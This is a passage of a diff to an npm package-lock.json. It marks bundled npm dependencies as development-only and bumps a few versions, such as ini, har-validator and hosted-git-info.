},
"flush-write-stream": {
"version": "1.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"inherits": "^2.0.1",
"readable-stream": "^2.0.4"
@@ -9871,6 +13273,7 @@
"readable-stream": {
"version": "2.3.6",
"bundled": true,
+ "dev": true,
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -9884,6 +13287,7 @@
"string_decoder": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "~5.1.0"
}
@@ -9892,11 +13296,13 @@
},
"forever-agent": {
"version": "0.6.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"form-data": {
"version": "2.3.2",
"bundled": true,
+ "dev": true,
"requires": {
"asynckit": "^0.4.0",
"combined-stream": "1.0.6",
@@ -9906,6 +13312,7 @@
"from2": {
"version": "2.3.0",
"bundled": true,
+ "dev": true,
"requires": {
"inherits": "^2.0.1",
"readable-stream": "^2.0.0"
@@ -9914,6 +13321,7 @@
"readable-stream": {
"version": "2.3.6",
"bundled": true,
+ "dev": true,
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -9927,6 +13335,7 @@
"string_decoder": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "~5.1.0"
}
@@ -9936,6 +13345,7 @@
"fs-minipass": {
"version": "1.2.7",
"bundled": true,
+ "dev": true,
"requires": {
"minipass": "^2.6.0"
},
@@ -9943,6 +13353,7 @@
"minipass": {
"version": "2.9.0",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "^5.1.2",
"yallist": "^3.0.0"
@@ -9953,6 +13364,7 @@
"fs-vacuum": {
"version": "1.2.10",
"bundled": true,
+ "dev": true,
"requires": {
"graceful-fs": "^4.1.2",
"path-is-inside": "^1.0.1",
@@ -9962,6 +13374,7 @@
"fs-write-stream-atomic": {
"version": "1.0.10",
"bundled": true,
+ "dev": true,
"requires": {
"graceful-fs": "^4.1.2",
"iferr": "^0.1.5",
@@ -9971,11 +13384,13 @@
"dependencies": {
"iferr": {
"version": "0.1.5",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"readable-stream": {
"version": "2.3.6",
"bundled": true,
+ "dev": true,
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -9989,6 +13404,7 @@
"string_decoder": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "~5.1.0"
}
@@ -9997,15 +13413,18 @@
},
"fs.realpath": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"function-bind": {
"version": "1.1.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"gauge": {
"version": "2.7.4",
"bundled": true,
+ "dev": true,
"requires": {
"aproba": "^1.0.3",
"console-control-strings": "^1.0.0",
@@ -10019,11 +13438,13 @@
"dependencies": {
"aproba": {
"version": "1.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"string-width": {
"version": "1.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@@ -10034,11 +13455,13 @@
},
"genfun": {
"version": "5.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"gentle-fs": {
"version": "2.3.1",
"bundled": true,
+ "dev": true,
"requires": {
"aproba": "^1.1.2",
"chownr": "^1.1.2",
@@ -10055,21 +13478,25 @@
"dependencies": {
"aproba": {
"version": "1.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"iferr": {
"version": "0.1.5",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"get-caller-file": {
"version": "2.0.5",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"get-stream": {
"version": "4.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"pump": "^3.0.0"
}
@@ -10077,6 +13504,7 @@
"getpass": {
"version": "0.1.7",
"bundled": true,
+ "dev": true,
"requires": {
"assert-plus": "^1.0.0"
}
@@ -10084,6 +13512,7 @@
"glob": {
"version": "7.1.6",
"bundled": true,
+ "dev": true,
"requires": {
"fs.realpath": "^1.0.0",
"inflight": "^1.0.4",
@@ -10096,6 +13525,7 @@
"global-dirs": {
"version": "0.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"ini": "^1.3.4"
}
@@ -10103,6 +13533,7 @@
"got": {
"version": "6.7.1",
"bundled": true,
+ "dev": true,
"requires": {
"create-error-class": "^3.0.0",
"duplexer3": "^0.1.4",
@@ -10119,56 +13550,90 @@
"dependencies": {
"get-stream": {
"version": "3.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"graceful-fs": {
"version": "4.2.4",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"har-schema": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"har-validator": {
- "version": "5.1.0",
+ "version": "5.1.5",
"bundled": true,
+ "dev": true,
"requires": {
- "ajv": "^5.3.0",
+ "ajv": "^6.12.3",
"har-schema": "^2.0.0"
+ },
+ "dependencies": {
+ "ajv": {
+ "version": "6.12.6",
+ "bundled": true,
+ "dev": true,
+ "requires": {
+ "fast-deep-equal": "^3.1.1",
+ "fast-json-stable-stringify": "^2.0.0",
+ "json-schema-traverse": "^0.4.1",
+ "uri-js": "^4.2.2"
+ }
+ },
+ "fast-deep-equal": {
+ "version": "3.1.3",
+ "bundled": true,
+ "dev": true
+ },
+ "json-schema-traverse": {
+ "version": "0.4.1",
+ "bundled": true,
+ "dev": true
+ }
}
},
"has": {
"version": "1.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"function-bind": "^1.1.1"
}
},
"has-flag": {
"version": "3.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"has-symbols": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"has-unicode": {
"version": "2.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"hosted-git-info": {
- "version": "2.8.8",
- "bundled": true
+ "version": "2.8.9",
+ "bundled": true,
+ "dev": true
},
"http-cache-semantics": {
"version": "3.8.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"http-proxy-agent": {
"version": "2.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"agent-base": "4",
"debug": "3.1.0"
@@ -10177,6 +13642,7 @@
"http-signature": {
"version": "1.2.0",
"bundled": true,
+ "dev": true,
"requires": {
"assert-plus": "^1.0.0",
"jsprim": "^1.2.2",
@@ -10186,6 +13652,7 @@
"https-proxy-agent": {
"version": "2.2.4",
"bundled": true,
+ "dev": true,
"requires": {
"agent-base": "^4.3.0",
"debug": "^3.1.0"
@@ -10194,6 +13661,7 @@
"humanize-ms": {
"version": "1.2.1",
"bundled": true,
+ "dev": true,
"requires": {
"ms": "^2.0.0"
}
@@ -10201,36 +13669,43 @@
"iconv-lite": {
"version": "0.4.23",
"bundled": true,
+ "dev": true,
"requires": {
"safer-buffer": ">= 2.1.2 < 3"
}
},
"iferr": {
"version": "1.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"ignore-walk": {
"version": "3.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"minimatch": "^3.0.4"
}
},
"import-lazy": {
"version": "2.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"imurmurhash": {
"version": "0.1.4",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"infer-owner": {
"version": "1.0.4",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"inflight": {
"version": "1.0.6",
"bundled": true,
+ "dev": true,
"requires": {
"once": "^1.3.0",
"wrappy": "1"
@@ -10238,15 +13713,18 @@
},
"inherits": {
"version": "2.0.4",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"ini": {
- "version": "1.3.5",
- "bundled": true
+ "version": "1.3.8",
+ "bundled": true,
+ "dev": true
},
"init-package-json": {
"version": "1.10.3",
"bundled": true,
+ "dev": true,
"requires": {
"glob": "^7.1.1",
"npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0",
@@ -10260,43 +13738,51 @@
},
"ip": {
"version": "1.1.5",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"ip-regex": {
"version": "2.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"is-callable": {
"version": "1.1.4",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"is-ci": {
"version": "1.2.1",
"bundled": true,
+ "dev": true,
"requires": {
"ci-info": "^1.5.0"
},
"dependencies": {
"ci-info": {
"version": "1.6.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"is-cidr": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"cidr-regex": "^2.0.10"
}
},
"is-date-object": {
"version": "1.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"is-fullwidth-code-point": {
"version": "1.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@@ -10304,6 +13790,7 @@
"is-installed-globally": {
"version": "0.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"global-dirs": "^0.1.0",
"is-path-inside": "^1.0.0"
@@ -10311,89 +13798,103 @@
},
"is-npm": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"is-obj": {
"version": "1.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"is-path-inside": {
"version": "1.0.1",
"bundled": true,
+ "dev": true,
"requires": {
"path-is-inside": "^1.0.1"
}
},
"is-redirect": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"is-regex": {
"version": "1.0.4",
"bundled": true,
+ "dev": true,
"requires": {
"has": "^1.0.1"
}
},
"is-retry-allowed": {
"version": "1.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"is-stream": {
"version": "1.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"is-symbol": {
"version": "1.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"has-symbols": "^1.0.0"
}
},
"is-typedarray": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"isarray": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"isexe": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"isstream": {
"version": "0.1.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"jsbn": {
"version": "0.1.1",
"bundled": true,
+ "dev": true,
"optional": true
},
"json-parse-better-errors": {
"version": "1.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"json-schema": {
"version": "0.2.3",
- "bundled": true
- },
- "json-schema-traverse": {
- "version": "0.3.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"json-stringify-safe": {
"version": "5.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"jsonparse": {
"version": "1.3.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"jsprim": {
"version": "1.4.1",
"bundled": true,
+ "dev": true,
"requires": {
"assert-plus": "1.0.0",
"extsprintf": "1.3.0",
@@ -10404,17 +13905,20 @@
"latest-version": {
"version": "3.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"package-json": "^4.0.0"
}
},
"lazy-property": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"libcipm": {
"version": "4.0.8",
"bundled": true,
+ "dev": true,
"requires": {
"bin-links": "^1.1.2",
"bluebird": "^3.5.1",
@@ -10436,6 +13940,7 @@
"libnpm": {
"version": "3.0.1",
"bundled": true,
+ "dev": true,
"requires": {
"bin-links": "^1.1.2",
"bluebird": "^3.5.3",
@@ -10462,6 +13967,7 @@
"libnpmaccess": {
"version": "3.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"aproba": "^2.0.0",
"get-stream": "^4.0.0",
@@ -10472,6 +13978,7 @@
"libnpmconfig": {
"version": "1.2.1",
"bundled": true,
+ "dev": true,
"requires": {
"figgy-pudding": "^3.5.1",
"find-up": "^3.0.0",
@@ -10481,6 +13988,7 @@
"find-up": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"locate-path": "^3.0.0"
}
@@ -10488,6 +13996,7 @@
"locate-path": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"p-locate": "^3.0.0",
"path-exists": "^3.0.0"
@@ -10496,6 +14005,7 @@
"p-limit": {
"version": "2.2.0",
"bundled": true,
+ "dev": true,
"requires": {
"p-try": "^2.0.0"
}
@@ -10503,19 +14013,22 @@
"p-locate": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"p-limit": "^2.0.0"
}
},
"p-try": {
"version": "2.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"libnpmhook": {
"version": "5.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"aproba": "^2.0.0",
"figgy-pudding": "^3.4.1",
@@ -10526,6 +14039,7 @@
"libnpmorg": {
"version": "1.0.1",
"bundled": true,
+ "dev": true,
"requires": {
"aproba": "^2.0.0",
"figgy-pudding": "^3.4.1",
@@ -10536,6 +14050,7 @@
"libnpmpublish": {
"version": "1.1.2",
"bundled": true,
+ "dev": true,
"requires": {
"aproba": "^2.0.0",
"figgy-pudding": "^3.5.1",
@@ -10551,6 +14066,7 @@
"libnpmsearch": {
"version": "2.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"figgy-pudding": "^3.5.1",
"get-stream": "^4.0.0",
@@ -10560,6 +14076,7 @@
"libnpmteam": {
"version": "1.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"aproba": "^2.0.0",
"figgy-pudding": "^3.4.1",
@@ -10570,6 +14087,7 @@
"libnpx": {
"version": "10.2.4",
"bundled": true,
+ "dev": true,
"requires": {
"dotenv": "^5.0.1",
"npm-package-arg": "^6.0.0",
@@ -10584,6 +14102,7 @@
"lock-verify": {
"version": "2.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"npm-package-arg": "^6.1.0",
"semver": "^5.4.1"
@@ -10592,17 +14111,20 @@
"lockfile": {
"version": "1.0.4",
"bundled": true,
+ "dev": true,
"requires": {
"signal-exit": "^3.0.2"
}
},
"lodash._baseindexof": {
"version": "3.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lodash._baseuniq": {
"version": "4.6.0",
"bundled": true,
+ "dev": true,
"requires": {
"lodash._createset": "~4.0.0",
"lodash._root": "~3.0.0"
@@ -10610,58 +14132,71 @@
},
"lodash._bindcallback": {
"version": "3.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lodash._cacheindexof": {
"version": "3.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lodash._createcache": {
"version": "3.1.2",
"bundled": true,
+ "dev": true,
"requires": {
"lodash._getnative": "^3.0.0"
}
},
"lodash._createset": {
"version": "4.0.3",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lodash._getnative": {
"version": "3.9.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lodash._root": {
"version": "3.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lodash.clonedeep": {
"version": "4.5.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lodash.restparam": {
"version": "3.6.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lodash.union": {
"version": "4.6.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lodash.uniq": {
"version": "4.5.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lodash.without": {
"version": "4.4.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lowercase-keys": {
"version": "1.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"lru-cache": {
"version": "5.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"yallist": "^3.0.2"
}
@@ -10669,6 +14204,7 @@
"make-dir": {
"version": "1.3.0",
"bundled": true,
+ "dev": true,
"requires": {
"pify": "^3.0.0"
}
@@ -10676,6 +14212,7 @@
"make-fetch-happen": {
"version": "5.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"agentkeepalive": "^3.4.1",
"cacache": "^12.0.0",
@@ -10691,16 +14228,19 @@
}
},
"meant": {
- "version": "1.0.1",
- "bundled": true
+ "version": "1.0.2",
+ "bundled": true,
+ "dev": true
},
"mime-db": {
"version": "1.35.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"mime-types": {
"version": "2.1.19",
"bundled": true,
+ "dev": true,
"requires": {
"mime-db": "~1.35.0"
}
@@ -10708,13 +14248,20 @@
"minimatch": {
"version": "3.0.4",
"bundled": true,
+ "dev": true,
"requires": {
"brace-expansion": "^1.1.7"
}
},
+ "minimist": {
+ "version": "1.2.5",
+ "bundled": true,
+ "dev": true
+ },
"minizlib": {
"version": "1.3.3",
"bundled": true,
+ "dev": true,
"requires": {
"minipass": "^2.9.0"
},
@@ -10722,6 +14269,7 @@
"minipass": {
"version": "2.9.0",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "^5.1.2",
"yallist": "^3.0.0"
@@ -10732,6 +14280,7 @@
"mississippi": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"concat-stream": "^1.5.0",
"duplexify": "^3.4.2",
@@ -10748,19 +14297,22 @@
"mkdirp": {
"version": "0.5.5",
"bundled": true,
+ "dev": true,
"requires": {
"minimist": "^1.2.5"
},
"dependencies": {
"minimist": {
"version": "1.2.5",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"move-concurrently": {
"version": "1.0.1",
"bundled": true,
+ "dev": true,
"requires": {
"aproba": "^1.1.1",
"copy-concurrently": "^1.0.0",
@@ -10772,21 +14324,25 @@
"dependencies": {
"aproba": {
"version": "1.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"ms": {
"version": "2.1.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"mute-stream": {
"version": "0.0.7",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"node-fetch-npm": {
"version": "2.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"encoding": "^0.1.11",
"json-parse-better-errors": "^1.0.0",
@@ -10796,6 +14352,7 @@
"node-gyp": {
"version": "5.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"env-paths": "^2.2.0",
"glob": "^7.1.4",
@@ -10813,6 +14370,7 @@
"nopt": {
"version": "4.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"abbrev": "1",
"osenv": "^0.1.4"
@@ -10821,6 +14379,7 @@
"normalize-package-data": {
"version": "2.5.0",
"bundled": true,
+ "dev": true,
"requires": {
"hosted-git-info": "^2.1.4",
"resolve": "^1.10.0",
@@ -10831,6 +14390,7 @@
"resolve": {
"version": "1.10.0",
"bundled": true,
+ "dev": true,
"requires": {
"path-parse": "^1.0.6"
}
@@ -10840,6 +14400,7 @@
"npm-audit-report": {
"version": "1.3.3",
"bundled": true,
+ "dev": true,
"requires": {
"cli-table3": "^0.5.0",
"console-control-strings": "^1.1.0"
@@ -10848,17 +14409,20 @@
"npm-bundled": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"npm-normalize-package-bin": "^1.0.1"
}
},
"npm-cache-filename": {
"version": "1.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"npm-install-checks": {
"version": "3.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"semver": "^2.3.0 || 3.x || 4 || 5"
}
@@ -10866,6 +14430,7 @@
"npm-lifecycle": {
"version": "3.1.5",
"bundled": true,
+ "dev": true,
"requires": {
"byline": "^5.0.0",
"graceful-fs": "^4.1.15",
@@ -10879,15 +14444,18 @@
},
"npm-logical-tree": {
"version": "1.2.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"npm-normalize-package-bin": {
"version": "1.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"npm-package-arg": {
"version": "6.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"hosted-git-info": "^2.7.1",
"osenv": "^0.1.5",
@@ -10898,6 +14466,7 @@
"npm-packlist": {
"version": "1.4.8",
"bundled": true,
+ "dev": true,
"requires": {
"ignore-walk": "^3.0.1",
"npm-bundled": "^1.0.1",
@@ -10907,6 +14476,7 @@
"npm-pick-manifest": {
"version": "3.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"figgy-pudding": "^3.5.1",
"npm-package-arg": "^6.0.0",
@@ -10916,6 +14486,7 @@
"npm-profile": {
"version": "4.0.4",
"bundled": true,
+ "dev": true,
"requires": {
"aproba": "^1.1.2 || 2",
"figgy-pudding": "^3.4.1",
@@ -10923,8 +14494,9 @@
}
},
"npm-registry-fetch": {
- "version": "4.0.5",
+ "version": "4.0.7",
"bundled": true,
+ "dev": true,
"requires": {
"JSONStream": "^1.3.4",
"bluebird": "^3.5.1",
@@ -10937,24 +14509,28 @@
"dependencies": {
"safe-buffer": {
"version": "5.2.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"npm-run-path": {
"version": "2.0.2",
"bundled": true,
+ "dev": true,
"requires": {
"path-key": "^2.0.0"
}
},
"npm-user-validate": {
- "version": "1.0.0",
- "bundled": true
+ "version": "1.0.1",
+ "bundled": true,
+ "dev": true
},
"npmlog": {
"version": "4.1.2",
"bundled": true,
+ "dev": true,
"requires": {
"are-we-there-yet": "~1.1.2",
"console-control-strings": "~1.1.0",
@@ -10964,23 +14540,28 @@
},
"number-is-nan": {
"version": "1.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"oauth-sign": {
"version": "0.9.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"object-assign": {
"version": "4.1.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"object-keys": {
"version": "1.0.12",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"object.getownpropertydescriptors": {
"version": "2.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"define-properties": "^1.1.2",
"es-abstract": "^1.5.1"
@@ -10989,25 +14570,30 @@
"once": {
"version": "1.4.0",
"bundled": true,
+ "dev": true,
"requires": {
"wrappy": "1"
}
},
"opener": {
- "version": "1.5.1",
- "bundled": true
+ "version": "1.5.2",
+ "bundled": true,
+ "dev": true
},
"os-homedir": {
"version": "1.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"os-tmpdir": {
"version": "1.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"osenv": {
"version": "0.1.5",
"bundled": true,
+ "dev": true,
"requires": {
"os-homedir": "^1.0.0",
"os-tmpdir": "^1.0.0"
@@ -11015,11 +14601,13 @@
},
"p-finally": {
"version": "1.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"package-json": {
"version": "4.0.1",
"bundled": true,
+ "dev": true,
"requires": {
"got": "^6.7.1",
"registry-auth-token": "^3.0.1",
@@ -11030,6 +14618,7 @@
"pacote": {
"version": "9.5.12",
"bundled": true,
+ "dev": true,
"requires": {
"bluebird": "^3.5.3",
"cacache": "^12.0.2",
@@ -11066,6 +14655,7 @@
"minipass": {
"version": "2.9.0",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "^5.1.2",
"yallist": "^3.0.0"
@@ -11076,6 +14666,7 @@
"parallel-transform": {
"version": "1.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"cyclist": "~0.2.2",
"inherits": "^2.0.3",
@@ -11085,6 +14676,7 @@
"readable-stream": {
"version": "2.3.6",
"bundled": true,
+ "dev": true,
"requires": {
"core-util-is": "~1.0.0",
"inherits": "~2.0.3",
@@ -11098,6 +14690,7 @@
"string_decoder": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"safe-buffer": "~5.1.0"
}
@@ -11106,47 +14699,58 @@
},
"path-exists": {
"version": "3.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"path-is-absolute": {
"version": "1.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"path-is-inside": {
"version": "1.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"path-key": {
"version": "2.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"path-parse": {
"version": "1.0.6",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"performance-now": {
"version": "2.1.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"pify": {
"version": "3.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"prepend-http": {
"version": "1.0.4",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"process-nextick-args": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"promise-inflight": {
"version": "1.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"promise-retry": {
"version": "1.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"err-code": "^1.0.0",
"retry": "^0.10.0"
@@ -11154,43 +14758,51 @@
"dependencies": {
"retry": {
"version": "0.10.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"promzard": {
"version": "0.3.0",
"bundled": true,
+ "dev": true,
"requires": {
"read": "1"
}
},
"proto-list": {
"version": "1.2.4",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"protoduck": {
"version": "5.0.1",
"bundled": true,
+ "dev": true,
"requires": {
"genfun": "^5.0.0"
}
},
"prr": {
"version": "1.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"pseudomap": {
"version": "1.0.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"psl": {
"version": "1.1.29",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"pump": {
"version": "3.0.0",
"bundled": true,
+ "dev": true,
"requires": {
"end-of-stream": "^1.1.0",
"once": "^1.3.1"
@@ -11199,6 +14811,7 @@
"pumpify": {
"version": "1.5.1",
"bundled": true,
+ "dev": true,
"requires": {
"duplexify": "^3.6.0",
"inherits": "^2.0.3",
@@ -11208,6 +14821,7 @@
"pump": {
"version": "2.0.1",
"bundled": true,
+ "dev": true,
"requires": {
"end-of-stream": "^1.1.0",
"once": "^1.3.1"
@@ -11217,19 +14831,23 @@
},
"punycode": {
"version": "1.4.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"qrcode-terminal": {
"version": "0.12.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"qs": {
"version": "6.5.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"query-string": {
"version": "6.8.2",
"bundled": true,
+ "dev": true,
"requires": {
"decode-uri-component": "^0.2.0",
"split-on-first": "^1.0.0",
@@ -11238,27 +14856,24 @@
},
"qw": {
"version": "1.0.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"rc": {
"version": "1.2.8",
"bundled": true,
+ "dev": true,
"requires": {
"deep-extend": "^0.6.0",
"ini": "~1.3.0",
"minimist": "^1.2.0",
"strip-json-comments": "~2.0.1"
- },
- "dependencies": {
- "minimist": {
- "version": "1.2.5",
- "bundled": true
- }
}
},
"read": {
"version": "1.0.7",
"bundled": true,
+ "dev": true,
"requires": {
"mute-stream": "~0.0.4"
}
@@ -11266,6 +14881,7 @@
"read-cmd-shim": {
"version": "1.0.5",
"bundled": true,
+ "dev": true,
"requires": {
"graceful-fs": "^4.1.2"
}
@@ -11273,6 +14889,7 @@
"read-installed": {
"version": "4.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"debuglog": "^1.0.1",
"graceful-fs": "^4.1.2",
@@ -11286,6 +14903,7 @@
"read-package-json": {
"version": "2.1.1",
"bundled": true,
+ "dev": true,
"requires": {
"glob": "^7.1.1",
"graceful-fs": "^4.1.2",
@@ -11297,6 +14915,7 @@
"read-package-tree": {
"version": "5.3.1",
"bundled": true,
+ "dev": true,
"requires": {
"read-package-json": "^2.0.0",
"readdir-scoped-modules": "^1.0.0",
@@ -11306,6 +14925,7 @@
"readable-stream": {
"version": "3.6.0",
"bundled": true,
+ "dev": true,
"requires": {
"inherits": "^2.0.3",
"string_decoder": "^1.1.1",
@@ -11315,6 +14935,7 @@
"readdir-scoped-modules": {
"version": "1.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"debuglog": "^1.0.1",
"dezalgo": "^1.0.0",
@@ -11325,6 +14946,7 @@
"registry-auth-token": {
"version": "3.4.0",
"bundled": true,
+ "dev": true,
"requires": {
"rc": "^1.1.6",
"safe-buffer": "^5.0.1"
@@ -11333,6 +14955,7 @@
"registry-url": {
"version": "3.1.0",
"bundled": true,
+ "dev": true,
"requires": {
"rc": "^1.0.1"
}
@@ -11340,6 +14963,7 @@
"request": {
"version": "2.88.0",
"bundled": true,
+ "dev": true,
"requires": {
"aws-sign2": "~0.7.0",
"aws4": "^1.8.0",
@@ -11365,23 +14989,28 @@
},
"require-directory": {
"version": "2.1.1",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"require-main-filename": {
"version": "2.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"resolve-from": {
"version": "4.0.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"retry": {
"version": "0.12.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"rimraf": {
"version": "2.7.1",
"bundled": true,
+ "dev": true,
"requires": {
"glob": "^7.1.3"
}
@@ -11389,42 +15018,50 @@
"run-queue": {
"version": "1.0.3",
"bundled": true,
+ "dev": true,
"requires": {
"aproba": "^1.1.1"
},
"dependencies": {
"aproba": {
"version": "1.2.0",
- "bundled": true
+ "bundled": true,
+ "dev": true
}
}
},
"safe-buffer": {
"version": "5.1.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"safer-buffer": {
"version": "2.1.2",
- "bundled": true
+ "bundled": true,
+ "dev": true
},
"semver": {
